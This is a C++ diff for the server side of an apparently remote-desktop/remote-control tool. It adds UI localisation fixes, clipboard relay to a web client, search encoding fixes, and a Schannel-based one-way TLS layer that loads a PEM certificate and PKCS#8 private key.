rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
|
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
|
||||||
|
|
||||||
|
// Normalize one-keyword-per-line input back to semicolon-separated storage.
|
||||||
m_editNotifyPattern.GetWindowText(str);
|
m_editNotifyPattern.GetWindowText(str);
|
||||||
rule.matchPattern = CT2A(str, CP_UTF8);
|
str.Replace(_T("\r\n"), _T("\n"));
|
||||||
|
str.Replace(_T('\r'), _T('\n'));
|
||||||
|
{
|
||||||
|
CString joined;
|
||||||
|
int start = 0;
|
||||||
|
for (;;) {
|
||||||
|
const int pos = str.Find(_T('\n'), start);
|
||||||
|
CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
|
||||||
|
kw.Trim();
|
||||||
|
if (!kw.IsEmpty()) {
|
||||||
|
if (!joined.IsEmpty()) joined += _T(';');
|
||||||
|
joined += kw;
|
||||||
|
}
|
||||||
|
if (pos < 0) break;
|
||||||
|
start = pos + 1;
|
||||||
|
}
|
||||||
|
rule.matchPattern = CT2A(joined, CP_UTF8);
|
||||||
|
}
|
||||||
|
|
||||||
// Update manager config and save
|
// Update manager config and save
|
||||||
GetNotifyManager().SetConfig(m_config);
|
GetNotifyManager().SetConfig(m_config);
|
||||||
|
|||||||
@@ -102,6 +102,10 @@ void CPluginSettingsDlg::InitListCtrl()
|
|||||||
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
|
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
|
||||||
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
|
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
|
||||||
SetWindowText(_TR("插件设置"));
|
SetWindowText(_TR("插件设置"));
|
||||||
|
|
||||||
|
// 按钮文字来自对话框模板,非中文系统上会被系统 ACP 转成 "??",须显式设置(参照 NotifySettingsDlg)
|
||||||
|
SetDlgItemText(IDC_BTN_SAVE, _TR("保存"));
|
||||||
|
SetDlgItemText(IDOK, _TR("关闭"));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CPluginSettingsDlg::LoadPluginsToList()
|
void CPluginSettingsDlg::LoadPluginsToList()
|
||||||
|
|||||||
@@ -124,11 +124,31 @@ protected:
|
|||||||
{
|
{
|
||||||
CDialog::OnInitDialog();
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
|
||||||
|
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
|
||||||
|
// 均经 _TR/_L 支持多语言翻译。
|
||||||
|
SetWindowText(_TR("远程桌面质量等级"));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL, _TR("等级"));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_FPS, _TR("帧率(FPS)"));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_WIDTH, _TR("最大宽度"));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_ALGO, _TR("编码算法"));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_BITRATE, _TR("码率(kbps)"));
|
||||||
|
static const TCHAR* kLevelNames[QUALITY_COUNT] = {
|
||||||
|
_T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
|
||||||
|
_T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
|
||||||
|
};
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++)
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_LABEL_HINT,
|
||||||
|
_TR("最大宽度 0 表示原始分辨率;DIFF/RGB565 适合局域网,H264 适合跨网"));
|
||||||
|
SetDlgItemText(IDC_QLEVEL_RESET, _TR("恢复默认"));
|
||||||
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
|
|
||||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
m_working[i] = m_profiles[i];
|
m_working[i] = m_profiles[i];
|
||||||
}
|
}
|
||||||
LoadToControls();
|
LoadToControls();
|
||||||
TranslateDialog(this);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1126,6 +1126,10 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
|||||||
case TOKEN_CLIPBOARD_TEXT: {
|
case TOKEN_CLIPBOARD_TEXT: {
|
||||||
Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||||
UpdateServerClipboard(str.c_str(), str.length());
|
UpdateServerClipboard(str.c_str(), str.length());
|
||||||
|
// 反向回传:远程剪贴板文本(UTF-8)→ Web 客户端
|
||||||
|
if (m_bIsWebSession && WebService().IsRunning()) {
|
||||||
|
WebService().NotifyClipboardText(m_ClientID, std::string(str.c_str(), str.length()));
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_BITMAPINFO: {
|
case TOKEN_BITMAPINFO: {
|
||||||
@@ -3643,7 +3647,7 @@ void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
|
|||||||
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
memcpy(szBuffer + 1 + 80, str.data(), str.size());
|
memcpy(szBuffer + 1 + 80, str.data(), str.size());
|
||||||
auto md5 = CalcMD5FromBytes((BYTE*)str.data(), str.size());
|
auto md5 = CalcMD5FromBytes((BYTE*)str.data(), str.size());
|
||||||
m_pParent->m_CmdList.PutCmd(md5);
|
m_pParent->m_CmdList.PutCmd(md5, m_ContextObject->GetPeerName());
|
||||||
m_ContextObject->Send2Client(szBuffer, 81 + str.size());
|
m_ContextObject->Send2Client(szBuffer, 81 + str.size());
|
||||||
Mprintf("【拖拽】 [本地 -> 远程] V1 传输: %s\n", md5.c_str());
|
Mprintf("【拖拽】 [本地 -> 远程] V1 传输: %s\n", md5.c_str());
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
|
|||||||
@@ -277,6 +277,12 @@ void CSearchBarDlg::DoSearch()
|
|||||||
colText = ctx->GetClientData(col);
|
colText = ctx->GetClientData(col);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 地理位置列已统一按 UTF-8 存储(见 AddList),而搜索输入是 CP_ACP;
|
||||||
|
// 转回 CP_ACP 再比对,否则按中文位置搜索会因编码不一致而失配。
|
||||||
|
if (col == ONLINELIST_LOCATION) {
|
||||||
|
colText = CString(Utf8ToAnsi(std::string(colText.GetString())).c_str());
|
||||||
|
}
|
||||||
|
|
||||||
colText.MakeLower();
|
colText.MakeLower();
|
||||||
if (colText.Find(searchText) >= 0) {
|
if (colText.Find(searchText) >= 0) {
|
||||||
matched = true;
|
matched = true;
|
||||||
|
|||||||
@@ -329,6 +329,17 @@ public:
|
|||||||
#define PREALLOC_DECOMPRESS_SIZE (4 * 1024)
|
#define PREALLOC_DECOMPRESS_SIZE (4 * 1024)
|
||||||
|
|
||||||
#include "context.h"
|
#include "context.h"
|
||||||
|
|
||||||
|
// 每连接传输层状态(单向 TLS,见 docs/TransportTLS_MFCServer_Design.md §5.2)。
|
||||||
|
// 明文与 TLS 客户端在同一端口共存:首包按 ClientHello 头嗅探分派。
|
||||||
|
enum ServerTlsState {
|
||||||
|
TLS_Unclassified = 0, // 尚未收到足够字节判定(缓冲 tlsPreClassify)
|
||||||
|
TLS_Plain = 1, // 明文客户端,直通现有解析路径
|
||||||
|
TLS_Handshaking = 2, // TLS 客户端,握手线程阻塞 AcceptSecurityContext 中
|
||||||
|
TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密
|
||||||
|
};
|
||||||
|
class ServerTlsSession; // 定义见 ServerTlsSession.h(避免把 Schannel 头拖进本文件)
|
||||||
|
|
||||||
typedef class CONTEXT_OBJECT : public context
|
typedef class CONTEXT_OBJECT : public context
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -341,6 +352,7 @@ public:
|
|||||||
FreeDecompressBuffer();
|
FreeDecompressBuffer();
|
||||||
FreeCompressBuffer();
|
FreeCompressBuffer();
|
||||||
FreeSendCompressBuffer();
|
FreeSendCompressBuffer();
|
||||||
|
FreeTls();
|
||||||
if (Zcctx) {
|
if (Zcctx) {
|
||||||
ZSTD_freeCCtx(Zcctx);
|
ZSTD_freeCCtx(Zcctx);
|
||||||
Zcctx = nullptr;
|
Zcctx = nullptr;
|
||||||
@@ -377,6 +389,11 @@ public:
|
|||||||
ikcpcb* kcp = nullptr; // 新增,指向KCP会话
|
ikcpcb* kcp = nullptr; // 新增,指向KCP会话
|
||||||
std::string GroupName; // 分组名称
|
std::string GroupName; // 分组名称
|
||||||
CLock SendLock; // fix #214
|
CLock SendLock; // fix #214
|
||||||
|
// 发送是否处于「进行中」状态。OnClientPreSending 每次 Send2Client 都会 Post 一个
|
||||||
|
// IOWrite,若不加节制,OnClientPostSending(0) 会对同一 OutCompressedBuffer 并发发起
|
||||||
|
// 多个 WSASend,读到同一段可变内存(背靠背小包最易触发:resize→COMMAND_NEXT→resize)。
|
||||||
|
// 置位后抑制多余的 IOWrite,待缓冲排空(最后一个 WSASend 完成)再清零。仅受 SendLock 保护。
|
||||||
|
bool bSendPending = false;
|
||||||
time_t OnlineTime = 0; // 上线时间
|
time_t OnlineTime = 0; // 上线时间
|
||||||
time_t LastHeartbeatTime = 0; // 最后心跳时间
|
time_t LastHeartbeatTime = 0; // 最后心跳时间
|
||||||
|
|
||||||
@@ -392,6 +409,11 @@ public:
|
|||||||
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
|
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
|
||||||
TcpRttBreachDetector m_RttDetector;
|
TcpRttBreachDetector m_RttDetector;
|
||||||
|
|
||||||
|
// ---- 单向 TLS 状态(跨线程:握手线程写入 TLS_Ready,工作线程读取;用 atomic 保序)----
|
||||||
|
std::atomic<int> tlsState{ TLS_Unclassified }; // ServerTlsState
|
||||||
|
ServerTlsSession* tls = nullptr; // 每连接 TLS 会话(握手线程独占→就绪后共用)
|
||||||
|
std::vector<BYTE> tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头)
|
||||||
|
|
||||||
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
|
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
|
||||||
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
|
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
|
||||||
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
||||||
@@ -495,6 +517,9 @@ public:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 释放每连接 TLS 会话。定义在 ServerTlsSession.cpp(需 ServerTlsSession 完整类型才能 delete)。
|
||||||
|
void FreeTls();
|
||||||
|
|
||||||
std::string GetProtocol() const override
|
std::string GetProtocol() const override
|
||||||
{
|
{
|
||||||
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
|
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
|
||||||
@@ -539,6 +564,12 @@ public:
|
|||||||
m_RttUs.store(0, std::memory_order_release);
|
m_RttUs.store(0, std::memory_order_release);
|
||||||
m_LastRttSampleMs.store(0, std::memory_order_release);
|
m_LastRttSampleMs.store(0, std::memory_order_release);
|
||||||
m_RttDetector.Reset();
|
m_RttDetector.Reset();
|
||||||
|
// 复用对象池时重置 TLS 状态:释放旧会话、回到未分类、清空嗅探缓冲。
|
||||||
|
FreeTls();
|
||||||
|
tlsState.store(TLS_Unclassified, std::memory_order_release);
|
||||||
|
tlsPreClassify.clear();
|
||||||
|
// 复用对象池时清空发送进行中标志,避免上次连接残留的 bSendPending 抑制新连接的发送。
|
||||||
|
bSendPending = false;
|
||||||
}
|
}
|
||||||
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
|
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
|
||||||
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
|
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
|
||||||
|
|||||||
@@ -0,0 +1,604 @@
|
|||||||
|
// ServerTlsSession.cpp — 服务端单向 TLS(Schannel 入站)实现
|
||||||
|
//
|
||||||
|
// 与客户端 TlsChannel.cpp 对称,但走 AcceptSecurityContext 入站握手、DecryptMessage/
|
||||||
|
// EncryptMessage 流式加解密。证书/私钥加载为 PEM + CNG(NCryptImportKey PKCS#8),
|
||||||
|
// 以便与 Go 服务端(server/go 的 crypto/tls,YAMA_TLS_CERT/KEY)共用同一对密钥。
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include "ServerTlsSession.h"
|
||||||
|
#include "Server.h" // CONTEXT_OBJECT::FreeTls()
|
||||||
|
#include "common/iniFile.h" // config(GetInt/GetStr)
|
||||||
|
|
||||||
|
#include <ncrypt.h>
|
||||||
|
#include <bcrypt.h>
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
#include <iterator>
|
||||||
|
#include <sstream>
|
||||||
|
|
||||||
|
#pragma comment(lib, "secur32.lib")
|
||||||
|
#pragma comment(lib, "crypt32.lib")
|
||||||
|
#pragma comment(lib, "ncrypt.lib")
|
||||||
|
|
||||||
|
namespace
|
||||||
|
{
|
||||||
|
// 进程级身份(进程启动加载一次;未来 UI/指令热切换时改为引用计数 + 惰性释放)。
|
||||||
|
std::mutex g_identityMtx;
|
||||||
|
bool g_enabled = false;
|
||||||
|
bool g_ready = false;
|
||||||
|
bool g_loadError = false;
|
||||||
|
CredHandle g_cred = {};
|
||||||
|
bool g_credValid = false;
|
||||||
|
PCCERT_CONTEXT g_cert = NULL; // 与入站凭据同生命周期,FreeIdentity 时释放
|
||||||
|
NCRYPT_KEY_HANDLE g_persistedKey = 0; // 已持久化到 CNG KSP 的私钥句柄,FreeIdentity 时删除
|
||||||
|
|
||||||
|
// 持久化私钥在 CNG KSP 中的名字。用固定名 + NCRYPT_OVERWRITE_KEY_FLAG,重启时覆盖旧键,
|
||||||
|
// 避免残留;同名键的密钥材料与 server.key 相同,覆盖无副作用。
|
||||||
|
const wchar_t* g_keyName = L"YamaServerTlsKey";
|
||||||
|
|
||||||
|
// 一次性读文件为 std::string(二进制安全)。
|
||||||
|
bool ReadFileText(const std::string& path, std::string& out)
|
||||||
|
{
|
||||||
|
std::ifstream f(path, std::ios::binary);
|
||||||
|
if (!f.is_open())
|
||||||
|
return false;
|
||||||
|
std::ostringstream ss;
|
||||||
|
ss << f.rdbuf();
|
||||||
|
if (f.bad())
|
||||||
|
return false;
|
||||||
|
out = ss.str();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// PEM(-----BEGIN ...----- 包裹的 base64)解码为 DER。失败返回 false。
|
||||||
|
// CRYPT_STRING_ANY 会自动识别带头的 base64(PEM),对证书与 PKCS#8 私钥均适用。
|
||||||
|
bool PemToDer(const std::string& pem, std::vector<BYTE>& der)
|
||||||
|
{
|
||||||
|
if (pem.empty())
|
||||||
|
return false;
|
||||||
|
DWORD need = 0;
|
||||||
|
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||||
|
NULL, &need, NULL, NULL))
|
||||||
|
return false;
|
||||||
|
der.resize(need);
|
||||||
|
return CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||||
|
der.data(), &need, NULL, NULL) == TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 PEM 文本里定位私钥块的类型,用于给出可操作的错误提示。
|
||||||
|
enum KeyFmt { KF_PKCS8, KF_PKCS1, KF_UNKNOWN };
|
||||||
|
KeyFmt DetectKeyFormat(const std::string& keyPem)
|
||||||
|
{
|
||||||
|
if (keyPem.find("-----BEGIN PRIVATE KEY-----") != std::string::npos)
|
||||||
|
return KF_PKCS8;
|
||||||
|
if (keyPem.find("-----BEGIN RSA PRIVATE KEY-----") != std::string::npos ||
|
||||||
|
keyPem.find("-----BEGIN EC PRIVATE KEY-----") != std::string::npos)
|
||||||
|
return KF_PKCS1;
|
||||||
|
return KF_UNKNOWN;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =====================================================================================
|
||||||
|
// ServerTlsIdentity —— 进程级服务端身份(可重入加载,禁止 call_once,供未来热切换)
|
||||||
|
// =====================================================================================
|
||||||
|
|
||||||
|
void ServerTlsIdentity::FreeIdentity()
|
||||||
|
{
|
||||||
|
// 先释放凭据,再释放证书上下文,最后删除持久化私钥(凭据/证书可能仍按名引用该键)。
|
||||||
|
if (g_credValid)
|
||||||
|
{
|
||||||
|
FreeCredentialsHandle(&g_cred);
|
||||||
|
g_credValid = false;
|
||||||
|
}
|
||||||
|
g_cred = {};
|
||||||
|
if (g_cert)
|
||||||
|
{
|
||||||
|
CertFreeCertificateContext(g_cert);
|
||||||
|
g_cert = NULL;
|
||||||
|
}
|
||||||
|
if (g_persistedKey)
|
||||||
|
{
|
||||||
|
NCryptDeleteKey(g_persistedKey, 0); // 删除并释放句柄
|
||||||
|
g_persistedKey = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsIdentity::Load(config& cfg)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_identityMtx);
|
||||||
|
|
||||||
|
bool enabled = cfg.GetInt("tls", "Enabled", 0) != 0;
|
||||||
|
std::string certPath = cfg.GetStr("tls", "CertPath", "");
|
||||||
|
std::string keyPath = cfg.GetStr("tls", "KeyPath", "");
|
||||||
|
|
||||||
|
g_enabled = enabled;
|
||||||
|
|
||||||
|
// 先释放旧身份(本轮只在启动时调用一次,不存在「旧身份仍被并发握手使用」的问题;
|
||||||
|
// 未来热切换需先引用计数、再惰性释放旧凭据)。
|
||||||
|
FreeIdentity();
|
||||||
|
g_ready = false;
|
||||||
|
g_loadError = false;
|
||||||
|
|
||||||
|
if (!enabled)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] server TLS disabled ([tls] Enabled=0) — plaintext only\n");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (certPath.empty() || keyPath.empty())
|
||||||
|
{
|
||||||
|
g_loadError = true;
|
||||||
|
Mprintf("[TLS] FATAL: [tls] Enabled=1 but CertPath/KeyPath empty; "
|
||||||
|
"refusing TLS ClientHello (fail-closed)\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!LoadIdentity(certPath, keyPath))
|
||||||
|
{
|
||||||
|
g_loadError = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
g_ready = true;
|
||||||
|
Mprintf("[TLS] server TLS enabled: cert=%s key=%s\n", certPath.c_str(), keyPath.c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsIdentity::LoadIdentity(const std::string& certPath, const std::string& keyPath)
|
||||||
|
{
|
||||||
|
std::string certPem, keyPem;
|
||||||
|
if (!ReadFileText(certPath, certPem))
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: cannot read cert file %s\n", certPath.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!ReadFileText(keyPath, keyPem))
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: cannot read key file %s\n", keyPath.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1) 证书:PEM → DER → PCCERT_CONTEXT。
|
||||||
|
std::vector<BYTE> certDer;
|
||||||
|
if (!PemToDer(certPem, certDer))
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: cert file %s is not a valid PEM\n", certPath.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING,
|
||||||
|
certDer.data(), (DWORD)certDer.size());
|
||||||
|
if (cert == NULL)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: CertCreateCertificateContext failed (%u)\n", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2) 私钥:PEM → DER → 持久化到 CNG KSP(仅支持 PKCS#8;PKCS#1 给出可操作的转换提示)。
|
||||||
|
//
|
||||||
|
// 关键:Schannel 入站凭据(AcquireCredentialsHandle)需要「能按名重开」的持久化私钥。
|
||||||
|
// NCryptImportKey 产出的是匿名临时键,绑定 CERT_NCRYPT_KEY_HANDLE_PROP_ID 后 Schannel 仍
|
||||||
|
// 拿不到(AcquireCredentialsHandle 返回 SEC_E_NO_CREDENTIALS 0x8009030e)。因此先把
|
||||||
|
// PKCS#8 导入为临时键、导出为裸 RSA 私钥 BLOB(NCryptSetProperty 只认裸 BLOB,不认
|
||||||
|
// PKCS#8),再写入持久化键并 finalize,最后用 CERT_KEY_PROV_INFO_PROP_ID 按名引用。
|
||||||
|
std::vector<BYTE> keyDer;
|
||||||
|
NCRYPT_KEY_HANDLE persistedKey = 0;
|
||||||
|
if (DetectKeyFormat(keyPem) == KF_PKCS8)
|
||||||
|
{
|
||||||
|
if (!PemToDer(keyPem, keyDer))
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: key file %s is not a valid PEM\n", keyPath.c_str());
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// 显式打开 Microsoft Software Key Storage Provider。hProvider 传 NULL 会让
|
||||||
|
// NCryptImportKey 走「默认提供者」解析,实测返回 NTE_INVALID_HANDLE(0x80090026),
|
||||||
|
// 故必须显式取得 KSP 句柄(临时键独立于 hProv,导入后即可释放)。
|
||||||
|
NCRYPT_PROV_HANDLE hProv = 0;
|
||||||
|
SECURITY_STATUS st = NCryptOpenStorageProvider(&hProv, MS_KEY_STORAGE_PROVIDER, 0);
|
||||||
|
if (st != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: NCryptOpenStorageProvider failed 0x%08x\n", (unsigned)st);
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2a) PKCS#8 → 临时键。
|
||||||
|
NCRYPT_KEY_HANDLE tmp = 0;
|
||||||
|
st = NCryptImportKey(hProv, NULL, NCRYPT_PKCS8_PRIVATE_KEY_BLOB, NULL,
|
||||||
|
&tmp, keyDer.data(), (DWORD)keyDer.size(), 0);
|
||||||
|
if (st == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
// 2b) 允许明文导出,导出为裸 RSA 私钥 BLOB。
|
||||||
|
DWORD policy = NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG | NCRYPT_ALLOW_EXPORT_FLAG;
|
||||||
|
NCryptSetProperty(tmp, NCRYPT_EXPORT_POLICY_PROPERTY, (PBYTE)&policy, sizeof(policy), 0);
|
||||||
|
|
||||||
|
std::vector<BYTE> raw;
|
||||||
|
DWORD rawLen = 0;
|
||||||
|
st = NCryptExportKey(tmp, NULL, BCRYPT_RSAFULLPRIVATE_BLOB, NULL, NULL, 0, &rawLen, 0);
|
||||||
|
if (st == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
raw.resize(rawLen);
|
||||||
|
st = NCryptExportKey(tmp, NULL, BCRYPT_RSAFULLPRIVATE_BLOB, NULL,
|
||||||
|
raw.data(), rawLen, &rawLen, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2c) 写入持久化键并 finalize(落到 KSP,可被 Schannel 按名重开)。
|
||||||
|
if (st == ERROR_SUCCESS)
|
||||||
|
st = NCryptCreatePersistedKey(hProv, &persistedKey, BCRYPT_RSA_ALGORITHM,
|
||||||
|
g_keyName, AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG);
|
||||||
|
if (st == ERROR_SUCCESS)
|
||||||
|
st = NCryptSetProperty(persistedKey, BCRYPT_RSAFULLPRIVATE_BLOB,
|
||||||
|
raw.data(), (DWORD)raw.size(), 0);
|
||||||
|
if (st == ERROR_SUCCESS)
|
||||||
|
st = NCryptFinalizeKey(persistedKey, 0);
|
||||||
|
|
||||||
|
NCryptFreeObject(tmp);
|
||||||
|
}
|
||||||
|
NCryptFreeObject(hProv);
|
||||||
|
|
||||||
|
if (st != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: failed to persist PKCS#8 key for %s (0x%08x)\n",
|
||||||
|
keyPath.c_str(), (unsigned)st);
|
||||||
|
if (persistedKey)
|
||||||
|
NCryptFreeObject(persistedKey);
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// PKCS#1(RSA/EC PRIVATE KEY)或未知格式:本次不支持,给转换命令。
|
||||||
|
Mprintf("[TLS] FATAL: key file %s must be PKCS#8 (-----BEGIN PRIVATE KEY-----). "
|
||||||
|
"Convert with: openssl pkcs8 -topk8 -nocrypt -in %s -out %s\n",
|
||||||
|
keyPath.c_str(), keyPath.c_str(), keyPath.c_str());
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3) 绑定私钥到证书上下文:按名引用持久化键。Schannel 经 CryptAcquireCertificatePrivateKey
|
||||||
|
// 在 MS_KEY_STORAGE_PROVIDER 里用 pwszContainerName 重开该键。
|
||||||
|
CRYPT_KEY_PROV_INFO provInfo = {};
|
||||||
|
provInfo.pwszContainerName = (LPWSTR)g_keyName;
|
||||||
|
provInfo.pwszProvName = (LPWSTR)MS_KEY_STORAGE_PROVIDER;
|
||||||
|
provInfo.dwProvType = 0; // 0 = CNG(无 CAPI provider type)
|
||||||
|
provInfo.dwKeySpec = AT_KEYEXCHANGE;
|
||||||
|
if (!CertSetCertificateContextProperty(cert, CERT_KEY_PROV_INFO_PROP_ID, 0, &provInfo))
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID) "
|
||||||
|
"failed (%u)\n", GetLastError());
|
||||||
|
NCryptDeleteKey(persistedKey, 0); // 删除并释放句柄
|
||||||
|
CertFreeCertificateContext(cert);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// 绑定后持久化键句柄交进程级 g_persistedKey,随 FreeIdentity 删除(覆盖旧键,避免残留)。
|
||||||
|
g_persistedKey = persistedKey;
|
||||||
|
|
||||||
|
// 4) 入站凭据:显式指定服务端证书,不请求客户端证书(单向 TLS)。
|
||||||
|
SCHANNEL_CRED sc = {};
|
||||||
|
sc.dwVersion = SCHANNEL_CRED_VERSION;
|
||||||
|
sc.cCreds = 1;
|
||||||
|
sc.paCred = &cert;
|
||||||
|
sc.grbitEnabledProtocols = SP_PROT_TLS1_2_SERVER;
|
||||||
|
// NO_DEFAULT_CREDS 避免回退到系统默认凭据,确保只用我们提供的证书/私钥。
|
||||||
|
//(单向 TLS 不请求客户端证书,故无需 SCH_CRED_MANUAL_CRED_VALIDATION。)
|
||||||
|
sc.dwFlags = SCH_CRED_NO_DEFAULT_CREDS;
|
||||||
|
|
||||||
|
TimeStamp tsExpiry = {};
|
||||||
|
SECURITY_STATUS st = AcquireCredentialsHandleA(
|
||||||
|
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND,
|
||||||
|
NULL, &sc, NULL, NULL, &g_cred, &tsExpiry);
|
||||||
|
|
||||||
|
if (st != SEC_E_OK)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] FATAL: AcquireCredentialsHandle(SECPKG_CRED_INBOUND) failed 0x%08x\n",
|
||||||
|
(unsigned)st);
|
||||||
|
CertFreeCertificateContext(cert); // 无凭据引用,安全释放
|
||||||
|
g_cred = {};
|
||||||
|
if (g_persistedKey) // 回滚:删除已持久化的私钥,避免残留
|
||||||
|
{
|
||||||
|
NCryptDeleteKey(g_persistedKey, 0); // 删除并释放句柄
|
||||||
|
g_persistedKey = 0;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 成功:把证书上下文生命周期交给进程级 g_cert,随 FreeIdentity 释放,
|
||||||
|
// 保证在 FreeCredentialsHandle 之前私钥一直可用。
|
||||||
|
g_cert = cert;
|
||||||
|
g_credValid = true;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsIdentity::IsEnabled()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_identityMtx);
|
||||||
|
return g_enabled;
